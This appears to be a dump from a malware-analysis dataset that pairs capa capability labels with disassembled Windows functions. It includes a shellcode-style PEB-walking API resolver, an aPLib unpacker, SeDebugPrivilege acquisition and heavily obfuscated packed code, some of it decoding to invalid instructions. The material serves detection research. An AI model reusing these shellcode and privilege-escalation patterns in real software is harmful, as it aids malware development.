joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14017eaf0
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x1a8
lea rbp, [rsp + 0x1e0]
xor eax, eax
mov qword [rbp - 0x148], rax
xorps xmm4, xmm4
movaps xmmword [rbp - 0x140], xmm4
movabs rax, 0xffffffffffffff10
movaps xmmword [rbp + rax - 0x40], xmm4
movaps xmmword [rbp + rax - 0x30], xmm4
movaps xmmword [rbp + rax - 0x20], xmm4
add rax, 0x30
jne 0x14017eb28
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x48]
mov rbx, qword [rbp + 0x58]
test rcx, rcx
jne 0x14017eb53
xor r14d, r14d
jmp 0x14017eb5f
add rcx, 0xc
mov qword [rbp - 0x40], rcx
mov r14, qword [rbp - 0x40]
test rdx, rdx
jne 0x14017eb69
xor r15d, r15d
jmp 0x14017eb75
add rdx, 0xc
mov qword [rbp - 0x48], rdx
mov r15, qword [rbp - 0x48]
mov qword [rbp - 0x50], r8
mov r12, r8
mov qword [rbp - 0x58], r9
mov r13, r9
xor esi, esi
cmp byte [rbp + 0x30], 0
setne sil
mov dword [rbp - 0x5c], esi
test rax, rax
jne 0x14017eba0
xor edi, edi
mov qword [rbp - 0x140], rdi
jmp 0x14017ebb3
add rax, 0xc
mov qword [rbp - 0x68], rax
mov rdi, qword [rbp - 0x68]
mov qword [rbp - 0x140], rdi
lea rdi, [rbp - 0xc8]
mov rsi, qword [rbp + 0x50]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
xor ecx, ecx
xorps xmm0, xmm0
movups xmmword [rbp - 0x130], xmm0
movups xmmword [rbp - 0x120], xmm0
movups xmmword [rbp - 0x110], xmm0
movups xmmword [rbp - 0x100], xmm0
movups xmmword [rbp - 0xf0], xmm0
movups xmmword [rbp - 0xe0], xmm0
mov qword [rbp - 0xd0], rcx
lea rcx, [rbp - 0xc8]
lea rdx, [rbp - 0x130]
call fcn.1401b43d0
mov qword [rbp - 0x138], rbx
xor ecx, ecx
call sub.KERNEL32.DLL_SetLastError
mov esi, dword [rbp - 0x5c]
mov dword [rsp + 0x20], esi
mov esi, dword [rbp + 0x38]
mov dword [rsp + 0x28], esi
mov rsi, qword [rbp + 0x40]
mov qword [rsp + 0x30], rsi
mov rdi, qword [rbp - 0x140]
mov qword [rsp + 0x38], rdi
lea rcx, [rbp - 0x130]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rbx
mov rcx, r14
mov qword [rbp - 0x150], rcx
mov rdx, r15
mov qword [rbp - 0x158], rdx
mov r8, r12
mov qword [rbp - 0x160], r8
mov r9, r13
mov qword [rbp - 0x168], r9
lea rcx, [rbp - 0x190]
call fcn.140003a60
mov rcx, qword [rbp - 0x150]
mov rdx, qword [rbp - 0x158]
mov r8, qword [rbp - 0x160]
mov r9, qword [rbp - 0x168]
call sub.KERNEL32.DLL_CreateProcessW
mov esi, eax
lea rcx, [rbp - 0x190]
call fcn.140003ab0
call fcn.140002225
mov rdi, rax
mov qword [rbp - 0x148], rdi
call sub.KERNEL32.DLL_GetLastError
mov rcx, qword [rbp - 0x148]
mov dword [rcx + 8], eax
test esi, esi
setne sil
movzx esi, sil
lea rcx, [rbp - 0x130]
call fcn.1401b4310
movzx eax, sil
add rsp, 0x1a8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x14017f3e0
Capabilities:
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0xa0]
xor eax, eax
mov qword [rbp - 0x48], rax
mov rsi, rcx
mov edi, edx
xor ecx, ecx
call sub.KERNEL32.DLL_SetLastError
mov rcx, rsi
mov qword [rbp - 0x50], rcx
mov edx, edi
mov dword [rbp - 0x3c], edx
lea rcx, [rbp - 0x78]
call fcn.140003a60
mov rcx, qword [rbp - 0x50]
mov edx, dword [rbp - 0x3c]
call sub.KERNEL32.DLL_TerminateProcess
mov esi, eax
lea rcx, [rbp - 0x78]
call fcn.140003ab0
call fcn.140002225
mov rdi, rax
mov qword [rbp - 0x48], rdi
call sub.KERNEL32.DLL_GetLastError
mov rdx, qword [rbp - 0x48]
mov dword [rdx + 8], eax
xor eax, eax
test esi, esi
setne al
movzx eax, al
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x14017f960
Capabilities:
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x90]
xor eax, eax
mov qword [rbp - 0x40], rax
mov rsi, rcx
xor ecx, ecx
call sub.KERNEL32.DLL_SetLastError
mov rcx, rsi
mov qword [rbp - 0x48], rcx
lea rcx, [rbp - 0x70]
call fcn.140003a60
mov rcx, qword [rbp - 0x48]
call sub.KERNEL32.DLL_ResumeThread
mov esi, eax
lea rcx, [rbp - 0x70]
call fcn.140003ab0
call fcn.140002225
mov rdi, rax
mov qword [rbp - 0x40], rdi
call sub.KERNEL32.DLL_GetLastError
mov rdx, qword [rbp - 0x40]
mov dword [rdx + 8], eax
mov eax, esi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x140180b10
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xor eax, eax
mov qword [rbp - 0x58], rax
xorps xmm4, xmm4
movaps xmmword [rbp - 0x50], xmm4
mov qword [rbp - 0x40], rax
mov r10, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
test rcx, rcx
jne 0x140180b4d
xor ecx, ecx
jmp 0x140180b59
add rcx, 0xc
mov qword [rbp - 0x40], rcx
mov rcx, qword [rbp - 0x40]
test rdx, rdx
jne 0x140180b62
xor edx, edx
jmp 0x140180b6e
add rdx, 0xc
mov qword [rbp - 0x48], rdx
mov rdx, qword [rbp - 0x48]
xor r11d, r11d
cmp byte [rbp + 0x30], 0
setne r11b
test r10, r10
jne 0x140180b82
xor esi, esi
jmp 0x140180b8e
add r10, 0xc
mov qword [rbp - 0x50], r10
mov rsi, qword [rbp - 0x50]
mov qword [rbp - 0x58], rax
mov r10d, dword [rbp + 0x38]
mov rdi, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x50]
mov qword [rbp - 0x60], rcx
mov qword [rbp - 0x68], rdx
mov qword [rbp - 0x70], r8
mov qword [rbp - 0x78], r9
mov dword [rsp + 0x20], r11d
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rax
lea rcx, [rbp - 0xa0]
call fcn.140003a60
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x70]
mov r9, qword [rbp - 0x78]
call sub.KERNEL32.DLL_CreateProcessW
mov esi, eax
lea rcx, [rbp - 0xa0]
call fcn.140003ab0
xor eax, eax
test esi, esi
setne al
movzx eax, al
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
push r9
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
add rax, rdx
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x14098d0d8
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14098d25f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14098d109
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14098d0ef
add dl, dl
jne 0x14098d116
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14098d176
xor eax, eax
add dl, dl
jne 0x14098d125
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14098d22d
add dl, dl
jne 0x14098d136
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14098d143
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14098d150
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14098d15d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14098d16a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14098d0fe
mov eax, 1
add dl, dl
jne 0x14098d186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14098d193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14098d17b
sub eax, ebx
mov ebx, 1
jne 0x14098d1cc
mov ecx, 1
add dl, dl
jne 0x14098d1ae
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14098d1bb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14098d1a3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14098d0fe
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14098d1e8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14098d1f5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14098d1dd
cmp eax, 0x7d00
jae 0x14098d21b
cmp eax, 0x500
jb 0x14098d216
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14098d0fe
cmp eax, 0x7f
ja 0x14098d21e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14098d0fe
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14098d252
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14098d0fe
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002078
Capabilities:
Read file via mapping

Disassembly:
test rcx, rcx
je 0x14000228a
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x270
mov rbx, rcx
lea rdx, [0x140003470]
lea rcx, [rsp + 0x60]
xor r13d, r13d
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHLWAPI.dll_StrCatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
je 0x140002270
lea edi, [r13 + 0x18]
lea rax, [rsp + 0x40]
mov edx, edi
mov qword [rsp + 0x2b8], rax
lea ebx, [rdi - 0x17]
mov rcx, qword [rsp + 0x2b8]
mov byte [rcx], r13b
mov rcx, qword [rsp + 0x2b8]
add rcx, rbx
mov qword [rsp + 0x2b8], rcx
sub rdx, rbx
jne 0x1400020e9

Function at 0x140002328
Capabilities:
Acquire debug privileges
Extract resource via kernel32 functions
Set registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x90]
sub rsp, 0x190
lea rcx, str.ntdll.dll
call fcn.140002078
mov edx, 0x11c
lea rax, [rsp + 0x70]
mov ecx, edx
mov qword [rbp + 0xc0], rax
xor edi, edi
mov rax, qword [rbp + 0xc0]
mov byte [rax], dil
mov rax, qword [rbp + 0xc0]
inc rax
mov qword [rbp + 0xc0], rax
sub rcx, 1
jne 0x14000235c
mov dword [rsp + 0x70], edx
mov r8b, 3
lea edx, [rcx + 2]
mov qword [rsp + 0x74], 0xa
mov word [rbp + 0x84], di
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 1
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov edx, 0x23
lea rcx, [rsp + 0x70]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea rcx, str.kernel32.dll
call fcn.140002078
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x410
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140002486
lea r8, [rbp + 0xc8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000247d
lea r8, [rbp + 0xb0]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]

Function at 0x140002c18
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov dword [rax + 8], ecx
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
lea rcx, str..pipedialercontrol_redirect64
and dword [rax - 0x20], 0
mov edi, r8d
mov rsi, rdx
mov dword [rax - 0x28], 3
xor r8d, r8d
mov edx, 0xc0000000
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002cad
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test rsi, rsi
je 0x140002ca4
test edi, edi
je 0x140002ca4
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140007cbe
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
not r15w
neg r15
test r15w, 0x5321
mov r15b, 0x9b
mov r15b, 0xb1
mov rax, qword [rsp + 0x28]
movabs rdi, 0x383a45b13bbba184
jae 0x1400c2522
int3
lea r14, [r14*4 - 0x33d74bd0]
push rcx
neg r15w
neg r15
js 0x14009d73a
je 0x14001c4d6
cmp r15w, 0xdba5
lea rax, [rax + 1]
jno 0x1400ad452

Function at 0x14000cded
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
add qword [rsp + 8], 0xfffffffffffe202e
neg dx
mov rdx, qword [rsp + r15 + 0x20872aee]
mov rdx, qword [rdx]
lea r12, [r15 + r12*4 + 0x3d069835]
jge 0x1400917ea
Function at 0x140011580
Capabilities:
Authenticate hmac

Disassembly:
or dword [rsp + 0x58], edi
jae 0x140066b6e
call fcn.14000752e
or dword [0x14003b730], 0xffffffff
add rsp, 0x28
jmp 0x14002926c
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
lea rbx, [0x14003b970]
lea rbp, [0x14003bbb0]
mov rdi, rbx
mov rsi, qword [rdi]
test rsi, rsi
je 0x1400292b4
mov rdi, qword [rsp + 0x48]
jns 0x140025598
sub word [rsp + 0x58], 0x7123
mov qword [rsp + 0x50], 0x69f6825
ja 0x14009d6b7

Function at 0x14001c4cb
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
pop rax
push 0x4a839491
mov byte [rsp], 0
pushfq
xor word [rsp + 8], 0x4e80
shl word [rsp + 8], 0x37
not dword [rsp + 8]
cmp word [rsp + 8], 0xca11
jg 0x1400d7fe3
call fcn.14001fefd

Function at 0x14005760c
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
neg r12w
and qword [rsp + r12 - 0x2fda8], 0xffffffffedaacd0b
add dword [rsp + r12*4 - 0xbf7a8], 0x13109a
mov r12, qword [rsp + r12 - 0x2fd88]
shr word [rsp + 0x58], 0x45
sub dword [rsp + 0x58], 0x32024e90
test word [rsp + 0x58], 0xc2b1
jno 0x14005546c
xchg qword [rsp + r9 - 0x5c348176], rax
push r12
push rsi
jbe 0x1400ae38a
call fcn.140084cf7
lea r14, [r14 + r14 + 0x73e8492]
push 0x4c97e4a6
jo 0x140015d26
lea r14, [r14 + r14*8 + 0x662e7a03]
push r13
jbe 0x1400e292d
mov r13, r14
lea rbx, [rbx + rdx - 0x1dae5c58]
test qword [rsp + 0x20], 0x720af9b1
push rbp
call fcn.14005309b
call fcn.1400b49c4

Function at 0x14005838c
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
jae 0x1400c252f
mov r15, qword [rsp + 0x28]
jbe 0x1400d5fbf

Function at 0x140058901
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push r12
add qword [rsp + 8], 0xa22d
movabs rbp, 0x668e493123aa639e
movabs r12, 0x5a283fb981ae4727
cmp r12w, bp
jg 0x14000124b

Function at 0x14005c0d0
Capabilities:
Packed with generic packer

Disassembly:
mov qword [rsp + 0x40], 0x1f99832d
not byte [rsp + r15*2 - 0x6d44afc2]
and r14d, dword [rsp + 0x20]
mov r15, qword [rsp + r15 - 0x36a257d1]
add qword [rsp + r14 - 0x8818], 0xffffffffbff2bcb9

Function at 0x14005c185
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, edi
lea r8, [rsp + 0x40]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x140002267
or ebp, 0xf422579e
add qword [rsp], 0x4b795
or dl, 0x92
push r10
jge 0x14000210c
sub rdx, 0x14b00c14
movabs rax, 0x1691f524e3bcc93c
mov rax, qword [rsp + 8]
mov rax, qword [rax + rdx - 0x7f7a5c7f]
and dl, bpl
mov rbp, rdx
jns 0x1400c1598

Function at 0x14005f1c5
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
pushfq
mov qword [rsp + 8], 0xfffffffffb388f8a
lea rsp, [rsp + 8]
call fcn.1400e8e1e
xchg byte [rax - 0x43], bl
out 1, eax
jo 0x14005f1c4
invalid
add byte [rsi + 0x41], ah
neg ecx
Function at 0x14005f25d
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
mov rbp, qword [rsp + 0x18]
jae 0x14006a718

Function at 0x14005f268
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
sub word [rsp + 0x80], 0xe5b8
je 0x1400024d6
push r8
xchg qword [rsp + 0x98], rsi
mov r10, qword [rsp + 0x18]
movzx r15w, byte [rsp + 0x40]
cmp word [rsp + 0x88], r12w
call fcn.1400617a2
mov r8, qword [rsp + 0x20]
jl 0x1400af502
movabs eax, dword [0x470f5d9e5e50fa0]
invalid
lea r8, [rcx + r8*4 + 0x51029b2a]
lea rbp, [rbp + 0x1b8e9837]

Function at 0x140060804
Capabilities:
Encode data using xor

Disassembly:
lea r14, [r10*2 + 0x790e6ab9]
mov r10w, r14w
xchg qword [rsp + 0x50], rax
mov r10, qword [rsp + 0x38]
call fcn.140068ae7
add qword [rsp + 0x10], 0xfffffffffff9b1fa
mov rax, r10
lea r10, [rax + r10 - 0x656522ca]
sub r10w, 0xb228
lea rax, [rax + rax*8 + 0x7fbe1528]
setl r10b
cmp eax, 0x85216b95
jae 0x140060fed
neg eax
mov rax, qword [rsp + r10 + 0x56479d10]
mov rax, qword [rax + r10 + 0x56479d00]
cmp r10w, 0x420a
bswap r10
not r10b
mov qword [rsp + 0x10], r10
push r14
jne 0x1400bf28d
push rcx
sub qword [rsp + 0x20], r10
lea rax, [rax + 0xc8c3a15]
movabs r14, 0xfba860b64e2c05b8
jle 0x140014e36
jne 0x1400725ad

Function at 0x14006307e
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
xchg qword [rsp + 0x68], rbx
mov r13, qword [rsp + 0x40]
jge 0x1400e4514
movzx r14, r15w
call fcn.14008fec5
lea rax, [rax - 0x2af55df5]
xchg qword [rsp + 8], rax
lea rsp, [rsp + 8]
ret

Function at 0x14006cdaf
Capabilities:
Authenticate hmac

Disassembly:
setne r11b
jge 0x140081605

Function at 0x14006f59e
Capabilities:
Packed with generic packer

Disassembly:
sub qword [rsp + rdi + 0x58], 0x17a9f6ad
mov r15, qword [rsp + rdi*2 + 0x28]
jle 0x14009682c
lea rdi, [rdi*8 + 0x5ca53c91]
je 0x1400acbe0
shr dil, 8
jns 0x140008154
Function at 0x14006fbf7
Capabilities:
Encode data using xor

Disassembly:
ret 8
not word [rsp + 0x30]
lea rsi, [rsi + 0x6f1d2623]
js 0x14000d360
not dword [rsp + 0x10]
sub byte [rsp + 0x30], 0x35
push rbx
xchg qword [rsp + 0x50], rsi
mov r15, qword [rsp + 0x48]
sub dword [rsp + 0x18], 0xa4027290
call fcn.14005a1a5
add cl, byte [rax - 0x47]
xchg ebx, eax
insd dword [rdi], dx
sub r10, qword [r13 + 0x40]
push 0xffffffff9ae2809c
xchg ecx, eax
mov ch, 0x5f
outsb dx, byte [rsi]
add esp, eax
fsubr qword [rdx + 0x7da591c0]
jge 0x14006fc6a
add byte [rsi + 0x1d9f8ce], cl
lodsb al, byte [rsi]
movabs al, byte [0x1b0bd07fa2fed4e0]
xor esp, r12d
call 0xf4c81f6f
jle 0x14006fcbb
mov ah, 0xae
or dword [rax - 0x4b], edi
sal byte [rbx + rsi + 0x572ab437], cl
mov ah, 0x2a
push rdi
movabs al, byte [0xb5ea0e6f7d93b531]
and al, 0x7c
invalid
fstp xword [0x172081848]
in al, 0xb8
outsd dx, dword [rsi]
mov dil, 0x77
adc dword [rcx + 0x33], eax
in al, 0x28
jrcxz 0x14006fcbc
invalid
xor ah, ah
mov eax, 0x934312ba
xor byte [rdx + rcx*8 - 0x6a56e3be], dh
in al, 0xb8
mov edx, 0x30934312
mov ah, 0xca
sbb al, 0xa9
xchg ebp, eax
vpavgb xmm2, xmm3, xmmword [rbx]
xchg byte [rdi], al
jg 0x14006fcfa
xor ebp, ebx
je 0x14006fcd1
movsd dword [rdi], dword [rsi]
sub eax, 0xef91daf6
mov ch, 0xcc
pop rdi
rcr byte [rax], 1
je 0x14006fc85
stosd dword [rdi], eax
invalid
sub cl, byte [rdi - 0x1b]
jbe 0x14006fd73
xchg dword [rdi + 0x758734a5], eax
invalid
xlatb
invalid

Function at 0x140074d57
Capabilities:
Packed with generic packer

Disassembly:
mov rdx, qword [rsp + rdx*8 - 0x7f950]
call fcn.1400c5083

Function at 0x140080c33
Capabilities:
Encode data using xor

Disassembly:
setle r13b
call fcn.14007820f
pushfq
add qword [rsp + 8], 0xffffffffbff43b09
xchg qword [rsp + 0x10], rdx
push r9
movabs r9, 0x3b86f117f2add627
neg r9w
lea r9, [r9 + r9*2 + 0x2aa4292c]
xor r9w, 0x1718
cmp r9w, 0x8bac
push rsi
mov qword [rsp + 0x18], rdx
jne 0x14007b672

Function at 0x140083b2f
Capabilities:
Authenticate hmac

Disassembly:
movabs rcx, 0xa8015221e3a1e011
push r12
push rdx
movabs rdx, 0x7882bf35a909d92c
call fcn.1400c379b
push rsi
call fcn.1400221f9
push rcx
not r10
push rdi
jbe fcn.1400de21d
add qword [rsp + 0x20], 0xfffffffffffb3654
movabs rcx, 0xa61488b8cf829a17
movabs rdi, 0x4a8710b8ca4781d
movabs rcx, 0x569a19086000e429
cmp r11b, dil
mov qword [rsp], rdi
mov rdi, qword [rsp + 0x20]
mov rdi, qword [rdi]
mov ecx, r10d
jl 0x140061f29
mov qword [rsp + 0x20], r10
jae 0x1400c589d
test qword [rsp + 0x20], 0xffffffffdb1939bc
bswap r11
not qword [rsp + 0x20]
jle fcn.1400e3e11
jne 0x14008f581
push rdi
xchg qword [rsp + 0x40], rdi
mov r11, qword [rsp + r10*2 - 2]
shr cx, cl
movzx r10d, cx
or r10, 0xffffffffa302eb09
add qword [rsp + 0x28], 0x77be70ba
and word [rsp + r10 + 0x5cfd151f], r10w
xor dword [rsp + r10 + 0x5cfd14ff], 0x580b9fa1
call fcn.1400c719f
or r10w, r10w
movzx r10, byte [rsp]
and cl, r10b
setg byte [rsp + r10 + 3]
lea rdi, [rdi - 0x2af55df5]
ja 0x1400860d7
lea rcx, [rcx + rdi + 0x1b8e9778]
shl rdi, 0x7a
sete dil
call fcn.14008de33
call fcn.140052a45
Function at 0x1400847bd
Capabilities:
Authenticate hmac

Disassembly:
js fcn.140011580
mov qword [rsp + 0x20], r9
lea rbp, [rbp + r9*4 - 0x6cdc558e]
jbe 0x14004b3cf

Function at 0x140089545
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
jb fcn.14007af11
or rbp, rbp
mov qword [rsp + 0x38], r12
not word [rsp + 0x38]
setno byte [rsp + 0x38]
call fcn.14000ca97
or ebp, 0xca05e2ac
push r12
movabs rax, 0xfbb41d388fb838b7
neg rbp
add qword [rsp + 8], 0xffffffffbff3d047
add eax, 0x5c075d97
movzx eax, bpl
mov rax, qword [rsp + rax*2 - 0x6e]
mov rax, qword [rax]
mov r12, rbp
js 0x140062d91
pop rbp
call fcn.1400bef69

Function at 0x1400aea68
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
test qword [rsp + 0x28], r13
jb 0x14000242a
jle fcn.14007ab23
xchg qword [rsp + 0x30], rbx
mov r13, qword [rsp + 0x18]
or word [rsp + 0x28], 0x1cbc
sub byte [rsp + 0x28], 0x90
not qword [rsp + 0x28]
test qword [rsp + 0x28], 0xffffffff9b90443b
not dword [rsp + 0x28]
call fcn.1400dc1ed

Function at 0x1400b3683
Capabilities:
Authenticate hmac

Disassembly:
jbe 0x14006e2b5
mov rbp, qword [rsp + 0x40]
jbe 0x140083cae
shl rcx, 0xbc
bswap r10d
call fcn.14007aa0a
xchg qword [rsp + 0x30], rax
mov r15, qword [rsp + 0x28]
shl qword [rsp + 0x20], 0x90
js 0x14007c657
add qword [rsp + 0x10], 0xffffffffbffee973
or byte [rsp + 0x20], 3
or qword [rsp + 0x20], 0x28297a8c
call fcn.14009c637

Function at 0x1400bc96b
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
xor rbx, qword [rsp + 0x40]
add dx, dx
mov rbx, qword [rsp + 0x30]
call fcn.1400c9f29
xor r12, r12
shl r12b, 0xba
mov rax, qword [rsp + 8]
mov rax, qword [rax]
sets bpl
mov qword [rsp + 8], rbp
not r13d
or qword [rsp + 8], r13
shl bp, 0x1a
js 0x14000cddb
setns r12b
lea rax, [rax - 0x5eec77c6]
add r13w, 0x1e2b
or r12, qword [rsp + 8]
mov bp, word [rsp + 0xb]
shr r10b, 5
jae fcn.1400df137
setae r12b
mov rbp, r12
cmp byte [rsp + 8], 0xa0
xchg qword [rsp + 0x38], rax
mov r12, qword [rsp + 0x20]
jns 0x1400ae6d3
add ebp, 0xb103feb2

Function at 0x1400c15bd
Capabilities:
Packed with generic packer

Disassembly:
cmovb r9d, ebp
mov r9, qword [rsp + rbp - 0x5bf5f72d]
jbe 0x1400a500a
or byte [rsp + rbp - 0x5bf5f715], 0x2b
test byte [rsp + rbp - 0x5bf5f74d], bpl
call fcn.1400dedd7

Function at 0x1400c5962
Capabilities:
Packed with generic packer

Disassembly:
jns 0x14005c0b6
enter 0xffffffffffff8bac, 0xffffffffffffffd7
invalid
and dword [rsp + 0x60], 0x259dd5bd
call fcn.1400ce2a5
mov rsi, qword [rsp + rsi + 0x46ce9c46]
jg 0x140057bda
xor byte [rsp + 0x60], 0x10
shl qword [rsp + 0x60], 6
add word [rsp + 0x30], 0x3e14
jle 0x140099bd0
push rcx
call fcn.1400a74eb